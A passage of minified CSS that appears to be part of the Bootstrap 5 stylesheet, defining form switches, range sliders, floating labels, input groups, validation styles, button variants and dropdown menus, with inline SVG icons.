-4 8 8'%3e%3ccircle r='3' fill='%2386b7fe'/%3e%3c/svg%3e")}.form-switch .form-check-input:checked{background-position:right center;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3e%3ccircle r='3' fill='%23fff'/%3e%3c/svg%3e")}.form-switch.form-check-reverse{padding-right:2.5em;padding-left:0}.form-switch.form-check-reverse .form-check-input{margin-right:-2.5em;margin-left:0}.form-check-inline{display:inline-block;margin-right:1rem}.btn-check{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.btn-check:disabled+.btn,.btn-check[disabled]+.btn{pointer-events:none;filter:none;opacity:.65}.form-range{width:100%;height:1.5rem;padding:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-range:focus{outline:0}.form-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .25rem rgba(13,110,253,.25)}.form-range::-moz-focus-outer{border:0}.form-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#0d6efd;border:0;border-radius:1rem;-webkit-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-webkit-slider-thumb{-webkit-transition:none;transition:none}}.form-range::-webkit-slider-thumb:active{background-color:#b6d4fe}.form-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#0d6efd;border:0;border-radius:1rem;-moz-transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media (prefers-reduced-motion:reduce){.form-range::-moz-range-thumb{-moz-transition:none;transition:none}}.form-range::-moz-range-thumb:active{background-color:#b6d4fe}.form-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.form-range:disabled{pointer-events:none}.form-range:disabled::-webkit-slider-thumb{background-color:#adb5bd}.form-range:disabled::-moz-range-thumb{background-color:#adb5bd}.form-floating{position:relative}.form-floating>.form-control,.form-floating>.form-control-plaintext,.form-floating>.form-select{height:calc(3.5rem + 2px);line-height:1.25}.form-floating>label{position:absolute;top:0;left:0;width:100%;height:100%;padding:1rem .75rem;overflow:hidden;text-align:start;text-overflow:ellipsis;white-space:nowrap;pointer-events:none;border:1px solid transparent;transform-origin:0 0;transition:opacity .1s ease-in-out,transform .1s ease-in-out}@media (prefers-reduced-motion:reduce){.form-floating>label{transition:none}}.form-floating>.form-control,.form-floating>.form-control-plaintext{padding:1rem .75rem}.form-floating>.form-control-plaintext::-moz-placeholder,.form-floating>.form-control::-moz-placeholder{color:transparent}.form-floating>.form-control-plaintext::placeholder,.form-floating>.form-control::placeholder{color:transparent}.form-floating>.form-control-plaintext:not(:-moz-placeholder-shown),.form-floating>.form-control:not(:-moz-placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:focus,.form-floating>.form-control-plaintext:not(:placeholder-shown),.form-floating>.form-control:focus,.form-floating>.form-control:not(:placeholder-shown){padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control-plaintext:-webkit-autofill,.form-floating>.form-control:-webkit-autofill{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-select{padding-top:1.625rem;padding-bottom:.625rem}.form-floating>.form-control:not(:-moz-placeholder-shown)~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label,.form-floating>.form-control:focus~label,.form-floating>.form-control:not(:placeholder-shown)~label,.form-floating>.form-select~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control:-webkit-autofill~label{opacity:.65;transform:scale(.85) translateY(-.5rem) translateX(.15rem)}.form-floating>.form-control-plaintext~label{border-width:1px 0}.input-group{position:relative;display:flex;flex-wrap:wrap;align-items:stretch;width:100%}.input-group>.form-control,.input-group>.form-floating,.input-group>.form-select{position:relative;flex:1 1 auto;width:1%;min-width:0}.input-group>.form-control:focus,.input-group>.form-floating:focus-within,.input-group>.form-select:focus{z-index:5}.input-group .btn{position:relative;z-index:2}.input-group .btn:focus{z-index:5}.input-group-text{display:flex;align-items:center;padding:.375rem .75rem;font-size:1rem;font-weight:400;line-height:1.5;color:#212529;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.375rem}.input-group-lg>.btn,.input-group-lg>.form-control,.input-group-lg>.form-select,.input-group-lg>.input-group-text{padding:.5rem 1rem;font-size:1.25rem;border-radius:.5rem}.input-group-sm>.btn,.input-group-sm>.form-control,.input-group-sm>.form-select,.input-group-sm>.input-group-text{padding:.25rem .5rem;font-size:.875rem;border-radius:.25rem}.input-group-lg>.form-select,.input-group-sm>.form-select{padding-right:3rem}.input-group:not(.has-validation)>.dropdown-toggle:nth-last-child(n+3),.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-control,.input-group:not(.has-validation)>.form-floating:not(:last-child)>.form-select,.input-group:not(.has-validation)>:not(:last-child):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group.has-validation>.dropdown-toggle:nth-last-child(n+4),.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-control,.input-group.has-validation>.form-floating:nth-last-child(n+3)>.form-select,.input-group.has-validation>:nth-last-child(n+3):not(.dropdown-toggle):not(.dropdown-menu):not(.form-floating){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>:not(:first-child):not(.dropdown-menu):not(.valid-tooltip):not(.valid-feedback):not(.invalid-tooltip):not(.invalid-feedback){margin-left:-1px;border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.form-floating:not(:first-child)>.form-control,.input-group>.form-floating:not(:first-child)>.form-select{border-top-left-radius:0;border-bottom-left-radius:0}.valid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#198754}.valid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(25,135,84,.9);border-radius:.375rem}.is-valid~.valid-feedback,.is-valid~.valid-tooltip,.was-validated :valid~.valid-feedback,.was-validated :valid~.valid-tooltip{display:block}.form-control.is-valid,.was-validated .form-control:valid{border-color:#198754;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-valid:focus,.was-validated .form-control:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.was-validated textarea.form-control:valid,textarea.form-control.is-valid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-valid,.was-validated .form-select:valid{border-color:#198754}.form-select.is-valid:not([multiple]):not([size]),.form-select.is-valid:not([multiple])[size="1"],.was-validated .form-select:valid:not([multiple]):not([size]),.was-validated .form-select:valid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3e%3cpath fill='%23198754' d='M2.3 6.73.6 4.53c-.4-1.04.46-1.4 1.1-.8l1.1 1.4 3.4-3.8c.6-.63 1.6-.27 1.2.7l-4 4.6c-.43.5-.8.4-1.1.1z'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-valid:focus,.was-validated .form-select:valid:focus{border-color:#198754;box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-control-color.is-valid,.was-validated .form-control-color:valid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-valid,.was-validated .form-check-input:valid{border-color:#198754}.form-check-input.is-valid:checked,.was-validated .form-check-input:valid:checked{background-color:#198754}.form-check-input.is-valid:focus,.was-validated .form-check-input:valid:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,.25)}.form-check-input.is-valid~.form-check-label,.was-validated .form-check-input:valid~.form-check-label{color:#198754}.form-check-inline .form-check-input~.valid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-valid,.input-group>.form-floating:not(:focus-within).is-valid,.input-group>.form-select:not(:focus).is-valid,.was-validated .input-group>.form-control:not(:focus):valid,.was-validated .input-group>.form-floating:not(:focus-within):valid,.was-validated .input-group>.form-select:not(:focus):valid{z-index:3}.invalid-feedback{display:none;width:100%;margin-top:.25rem;font-size:.875em;color:#dc3545}.invalid-tooltip{position:absolute;top:100%;z-index:5;display:none;max-width:100%;padding:.25rem .5rem;margin-top:.1rem;font-size:.875rem;color:#fff;background-color:rgba(220,53,69,.9);border-radius:.375rem}.is-invalid~.invalid-feedback,.is-invalid~.invalid-tooltip,.was-validated :invalid~.invalid-feedback,.was-validated :invalid~.invalid-tooltip{display:block}.form-control.is-invalid,.was-validated .form-control:invalid{border-color:#dc3545;padding-right:calc(1.5em + .75rem);background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-repeat:no-repeat;background-position:right calc(.375em + .1875rem) center;background-size:calc(.75em + .375rem) calc(.75em + .375rem)}.form-control.is-invalid:focus,.was-validated .form-control:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.was-validated textarea.form-control:invalid,textarea.form-control.is-invalid{padding-right:calc(1.5em + .75rem);background-position:top calc(.375em + .1875rem) right calc(.375em + .1875rem)}.form-select.is-invalid,.was-validated .form-select:invalid{border-color:#dc3545}.form-select.is-invalid:not([multiple]):not([size]),.form-select.is-invalid:not([multiple])[size="1"],.was-validated .form-select:invalid:not([multiple]):not([size]),.was-validated .form-select:invalid:not([multiple])[size="1"]{padding-right:4.125rem;background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='m2 5 6 6 6-6'/%3e%3c/svg%3e"),url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 12 12' width='12' height='12' fill='none' stroke='%23dc3545'%3e%3ccircle cx='6' cy='6' r='4.5'/%3e%3cpath stroke-linejoin='round' d='M5.8 3.6h.4L6 6.5z'/%3e%3ccircle cx='6' cy='8.2' r='.6' fill='%23dc3545' stroke='none'/%3e%3c/svg%3e");background-position:right .75rem center,center right 2.25rem;background-size:16px 12px,calc(.75em + .375rem) calc(.75em + .375rem)}.form-select.is-invalid:focus,.was-validated .form-select:invalid:focus{border-color:#dc3545;box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-control-color.is-invalid,.was-validated .form-control-color:invalid{width:calc(3rem + calc(1.5em + .75rem))}.form-check-input.is-invalid,.was-validated .form-check-input:invalid{border-color:#dc3545}.form-check-input.is-invalid:checked,.was-validated .form-check-input:invalid:checked{background-color:#dc3545}.form-check-input.is-invalid:focus,.was-validated .form-check-input:invalid:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,.25)}.form-check-input.is-invalid~.form-check-label,.was-validated .form-check-input:invalid~.form-check-label{color:#dc3545}.form-check-inline .form-check-input~.invalid-feedback{margin-left:.5em}.input-group>.form-control:not(:focus).is-invalid,.input-group>.form-floating:not(:focus-within).is-invalid,.input-group>.form-select:not(:focus).is-invalid,.was-validated .input-group>.form-control:not(:focus):invalid,.was-validated .input-group>.form-floating:not(:focus-within):invalid,.was-validated .input-group>.form-select:not(:focus):invalid{z-index:4}.btn{--bs-btn-padding-x:0.75rem;--bs-btn-padding-y:0.375rem;--bs-btn-font-family: ;--bs-btn-font-size:1rem;--bs-btn-font-weight:400;--bs-btn-line-height:1.5;--bs-btn-color:#212529;--bs-btn-bg:transparent;--bs-btn-border-width:1px;--bs-btn-border-color:transparent;--bs-btn-border-radius:0.375rem;--bs-btn-hover-border-color:transparent;--bs-btn-box-shadow:inset 0 1px 0 rgba(255, 255, 255, 0.15),0 1px 1px rgba(0, 0, 0, 0.075);--bs-btn-disabled-opacity:0.65;--bs-btn-focus-box-shadow:0 0 0 0.25rem rgba(var(--bs-btn-focus-shadow-rgb), .5);display:inline-block;padding:var(--bs-btn-padding-y) var(--bs-btn-padding-x);font-family:var(--bs-btn-font-family);font-size:var(--bs-btn-font-size);font-weight:var(--bs-btn-font-weight);line-height:var(--bs-btn-line-height);color:var(--bs-btn-color);text-align:center;text-decoration:none;vertical-align:middle;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;user-select:none;border:var(--bs-btn-border-width) solid var(--bs-btn-border-color);border-radius:var(--bs-btn-border-radius);background-color:var(--bs-btn-bg);transition:color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media (prefers-reduced-motion:reduce){.btn{transition:none}}.btn:hover{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color)}.btn-check+.btn:hover{color:var(--bs-btn-color);background-color:var(--bs-btn-bg);border-color:var(--bs-btn-border-color)}.btn:focus-visible{color:var(--bs-btn-hover-color);background-color:var(--bs-btn-hover-bg);border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:focus-visible+.btn{border-color:var(--bs-btn-hover-border-color);outline:0;box-shadow:var(--bs-btn-focus-box-shadow)}.btn-check:checked+.btn,.btn.active,.btn.show,.btn:first-child:active,:not(.btn-check)+.btn:active{color:var(--bs-btn-active-color);background-color:var(--bs-btn-active-bg);border-color:var(--bs-btn-active-border-color)}.btn-check:checked+.btn:focus-visible,.btn.active:focus-visible,.btn.show:focus-visible,.btn:first-child:active:focus-visible,:not(.btn-check)+.btn:active:focus-visible{box-shadow:var(--bs-btn-focus-box-shadow)}.btn.disabled,.btn:disabled,fieldset:disabled .btn{color:var(--bs-btn-disabled-color);pointer-events:none;background-color:var(--bs-btn-disabled-bg);border-color:var(--bs-btn-disabled-border-color);opacity:var(--bs-btn-disabled-opacity)}.btn-primary{--bs-btn-color:#fff;--bs-btn-bg:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0b5ed7;--bs-btn-hover-border-color:#0a58ca;--bs-btn-focus-shadow-rgb:49,132,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0a58ca;--bs-btn-active-border-color:#0a53be;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#0d6efd;--bs-btn-disabled-border-color:#0d6efd}.btn-secondary{--bs-btn-color:#fff;--bs-btn-bg:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#5c636a;--bs-btn-hover-border-color:#565e64;--bs-btn-focus-shadow-rgb:130,138,145;--bs-btn-active-color:#fff;--bs-btn-active-bg:#565e64;--bs-btn-active-border-color:#51585e;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#6c757d;--bs-btn-disabled-border-color:#6c757d}.btn-success{--bs-btn-color:#fff;--bs-btn-bg:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#157347;--bs-btn-hover-border-color:#146c43;--bs-btn-focus-shadow-rgb:60,153,110;--bs-btn-active-color:#fff;--bs-btn-active-bg:#146c43;--bs-btn-active-border-color:#13653f;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#198754;--bs-btn-disabled-border-color:#198754}.btn-info{--bs-btn-color:#000;--bs-btn-bg:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#31d2f2;--bs-btn-hover-border-color:#25cff2;--bs-btn-focus-shadow-rgb:11,172,204;--bs-btn-active-color:#000;--bs-btn-active-bg:#3dd5f3;--bs-btn-active-border-color:#25cff2;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#0dcaf0;--bs-btn-disabled-border-color:#0dcaf0}.btn-warning{--bs-btn-color:#000;--bs-btn-bg:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffca2c;--bs-btn-hover-border-color:#ffc720;--bs-btn-focus-shadow-rgb:217,164,6;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffcd39;--bs-btn-active-border-color:#ffc720;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#ffc107;--bs-btn-disabled-border-color:#ffc107}.btn-danger{--bs-btn-color:#fff;--bs-btn-bg:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#bb2d3b;--bs-btn-hover-border-color:#b02a37;--bs-btn-focus-shadow-rgb:225,83,97;--bs-btn-active-color:#fff;--bs-btn-active-bg:#b02a37;--bs-btn-active-border-color:#a52834;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#dc3545;--bs-btn-disabled-border-color:#dc3545}.btn-light{--bs-btn-color:#000;--bs-btn-bg:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#d3d4d5;--bs-btn-hover-border-color:#c6c7c8;--bs-btn-focus-shadow-rgb:211,212,213;--bs-btn-active-color:#000;--bs-btn-active-bg:#c6c7c8;--bs-btn-active-border-color:#babbbc;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#000;--bs-btn-disabled-bg:#f8f9fa;--bs-btn-disabled-border-color:#f8f9fa}.btn-dark{--bs-btn-color:#fff;--bs-btn-bg:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#424649;--bs-btn-hover-border-color:#373b3e;--bs-btn-focus-shadow-rgb:66,70,73;--bs-btn-active-color:#fff;--bs-btn-active-bg:#4d5154;--bs-btn-active-border-color:#373b3e;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#fff;--bs-btn-disabled-bg:#212529;--bs-btn-disabled-border-color:#212529}.btn-outline-primary{--bs-btn-color:#0d6efd;--bs-btn-border-color:#0d6efd;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#0d6efd;--bs-btn-hover-border-color:#0d6efd;--bs-btn-focus-shadow-rgb:13,110,253;--bs-btn-active-color:#fff;--bs-btn-active-bg:#0d6efd;--bs-btn-active-border-color:#0d6efd;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0d6efd;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#0d6efd;--bs-gradient:none}.btn-outline-secondary{--bs-btn-color:#6c757d;--bs-btn-border-color:#6c757d;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#6c757d;--bs-btn-hover-border-color:#6c757d;--bs-btn-focus-shadow-rgb:108,117,125;--bs-btn-active-color:#fff;--bs-btn-active-bg:#6c757d;--bs-btn-active-border-color:#6c757d;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#6c757d;--bs-gradient:none}.btn-outline-success{--bs-btn-color:#198754;--bs-btn-border-color:#198754;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#198754;--bs-btn-hover-border-color:#198754;--bs-btn-focus-shadow-rgb:25,135,84;--bs-btn-active-color:#fff;--bs-btn-active-bg:#198754;--bs-btn-active-border-color:#198754;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#198754;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#198754;--bs-gradient:none}.btn-outline-info{--bs-btn-color:#0dcaf0;--bs-btn-border-color:#0dcaf0;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#0dcaf0;--bs-btn-hover-border-color:#0dcaf0;--bs-btn-focus-shadow-rgb:13,202,240;--bs-btn-active-color:#000;--bs-btn-active-bg:#0dcaf0;--bs-btn-active-border-color:#0dcaf0;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#0dcaf0;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#0dcaf0;--bs-gradient:none}.btn-outline-warning{--bs-btn-color:#ffc107;--bs-btn-border-color:#ffc107;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#ffc107;--bs-btn-hover-border-color:#ffc107;--bs-btn-focus-shadow-rgb:255,193,7;--bs-btn-active-color:#000;--bs-btn-active-bg:#ffc107;--bs-btn-active-border-color:#ffc107;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#ffc107;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#ffc107;--bs-gradient:none}.btn-outline-danger{--bs-btn-color:#dc3545;--bs-btn-border-color:#dc3545;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#dc3545;--bs-btn-hover-border-color:#dc3545;--bs-btn-focus-shadow-rgb:220,53,69;--bs-btn-active-color:#fff;--bs-btn-active-bg:#dc3545;--bs-btn-active-border-color:#dc3545;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#dc3545;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#dc3545;--bs-gradient:none}.btn-outline-light{--bs-btn-color:#f8f9fa;--bs-btn-border-color:#f8f9fa;--bs-btn-hover-color:#000;--bs-btn-hover-bg:#f8f9fa;--bs-btn-hover-border-color:#f8f9fa;--bs-btn-focus-shadow-rgb:248,249,250;--bs-btn-active-color:#000;--bs-btn-active-bg:#f8f9fa;--bs-btn-active-border-color:#f8f9fa;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#f8f9fa;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#f8f9fa;--bs-gradient:none}.btn-outline-dark{--bs-btn-color:#212529;--bs-btn-border-color:#212529;--bs-btn-hover-color:#fff;--bs-btn-hover-bg:#212529;--bs-btn-hover-border-color:#212529;--bs-btn-focus-shadow-rgb:33,37,41;--bs-btn-active-color:#fff;--bs-btn-active-bg:#212529;--bs-btn-active-border-color:#212529;--bs-btn-active-shadow:inset 0 3px 5px rgba(0, 0, 0, 0.125);--bs-btn-disabled-color:#212529;--bs-btn-disabled-bg:transparent;--bs-btn-disabled-border-color:#212529;--bs-gradient:none}.btn-link{--bs-btn-font-weight:400;--bs-btn-color:var(--bs-link-color);--bs-btn-bg:transparent;--bs-btn-border-color:transparent;--bs-btn-hover-color:var(--bs-link-hover-color);--bs-btn-hover-border-color:transparent;--bs-btn-active-color:var(--bs-link-hover-color);--bs-btn-active-border-color:transparent;--bs-btn-disabled-color:#6c757d;--bs-btn-disabled-border-color:transparent;--bs-btn-box-shadow:none;--bs-btn-focus-shadow-rgb:49,132,253;text-decoration:underline}.btn-link:focus-visible{color:var(--bs-btn-color)}.btn-link:hover{color:var(--bs-btn-hover-color)}.btn-group-lg>.btn,.btn-lg{--bs-btn-padding-y:0.5rem;--bs-btn-padding-x:1rem;--bs-btn-font-size:1.25rem;--bs-btn-border-radius:0.5rem}.btn-group-sm>.btn,.btn-sm{--bs-btn-padding-y:0.25rem;--bs-btn-padding-x:0.5rem;--bs-btn-font-size:0.875rem;--bs-btn-border-radius:0.25rem}.fade{transition:opacity .15s linear}@media (prefers-reduced-motion:reduce){.fade{transition:none}}.fade:not(.show){opacity:0}.collapse:not(.show){display:none}.collapsing{height:0;overflow:hidden;transition:height .35s ease}@media (prefers-reduced-motion:reduce){.collapsing{transition:none}}.collapsing.collapse-horizontal{width:0;height:auto;transition:width .35s ease}@media (prefers-reduced-motion:reduce){.collapsing.collapse-horizontal{transition:none}}.dropdown,.dropdown-center,.dropend,.dropstart,.dropup,.dropup-center{position:relative}.dropdown-toggle{white-space:nowrap}.dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid;border-right:.3em solid transparent;border-bottom:0;border-left:.3em solid transparent}.dropdown-toggle:empty::after{margin-left:0}.dropdown-menu{--bs-dropdown-zindex:1000;--bs-dropdown-min-width:10rem;--bs-dropdown-padding-x:0;--bs-dropdown-padding-y:0.5rem;--bs-dropdown-spacer:0.125rem;--bs-dropdown-font-size:1rem;--bs-dropdown-color:#212529;--bs-dropdown-bg:#fff;--bs-dropdown-border-color:var(--bs-border-color-translucent);--bs-dropdown-border-radius:0.375rem;--bs-dropdown-border-width:1px;--bs-dropdown-inner-border-radius:calc(0.375rem - 1px);--bs-dropdown-divider-bg:var(--bs-border-color-translucent);--bs-dropdown-divider-margin-y:0.5rem;--bs-dropdown-box-shadow:0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-dropdown-link-color:#212529;--bs-dropdown-link-hover-color:#1e2125;--bs-dropdown-link-hover-bg:#e9ecef;--bs-dropdown-link-active-color:#fff;--bs-dropdown-link-active-bg:#0d6efd;--bs-dropdown-link-disabled-color:#adb5bd;--bs-dropdown-item-padding-x:1rem;--bs-dropdown-item-padding-y:0.25rem;--bs-dropdown-header-color:#6c757d;--bs-dropdown-header-padding-x:1rem;--bs-dropdown-header-padding-y:0.5rem;position:absolute;z-index:var(--bs-dropdown-zindex);display:none;min-width:var(--bs-dropdown-min-width);padding:var(--bs-dropdown-padding-y) var(--bs-dropdown-padding-x);margin:0;font-size:var(--bs-dropdown-font-size);color:var(--bs-dropdown-color);text-align:left;list-style:none;background-color:var(--bs-dropdown-bg);background-clip:padding-box;border:var(--bs-dropdown-border-width) solid var(--bs-dropdown-border-color);border-radius:var(--bs-dropdown-border-radius)}.dropdown-menu[data-bs-popper]{top:100%;left:0;margin-top:var(--bs-dropdown-spacer)}.dropdown-menu-start{--bs-position:start}.dropdown-menu-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-end{--bs-position:end}.dropdown-menu-end[data-bs-popper]{right:0;left:auto}@media (min-width:576px){.dropdown-menu-sm-start{--bs-position:start}.dropdown-menu-sm-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-sm-end{--bs-position:end}.dropdown-menu-sm-end[data-bs-popper]{right:0;left:auto}}@media (min-width:768px){.dropdown-menu-md-start{--bs-position:start}.dropdown-menu-md-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-md-end{--bs-position:end}.dropdown-menu-md-end[data-bs-popper]{right:0;left:auto}}@media (min-width:992px){.dropdown-menu-lg-start{--bs-position:start}.dropdown-menu-lg-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-lg-end{--bs-position:end}.dropdown-menu-lg-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1200px){.dropdown-menu-xl-start{--bs-position:start}.dropdown-menu-xl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xl-end{--bs-position:end}.dropdown-menu-xl-end[data-bs-popper]{right:0;left:auto}}@media (min-width:1400px){.dropdown-menu-xxl-start{--bs-position:start}.dropdown-menu-xxl-start[data-bs-popper]{right:auto;left:0}.dropdown-menu-xxl-end{--bs-position:end}.dropdown-menu-xxl-end[data-bs-popper]{right:0;left:auto}}.dropup .dropdown-menu[data-bs-popper]{top:auto;bottom:100%;margin-top:0;margin-bottom:var(--bs-dropdown-spacer)}.dropup .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:0;border-right:.3em solid transparent;border-bottom:.3em solid;border-left:.3em solid transparent}.dropup .dropdown-toggle:empty::after{margin-left:0}.dropend .dropdown-menu[data-bs-popper]{top:0;right:auto;left:100%;margin-top:0;margin-left:var(--bs-dropdown-spacer)}.dropend .dropdown-toggle::after{display:inline-block;margin-left:.255em;vertical-align:.255em;content:"";border-top:.3em solid 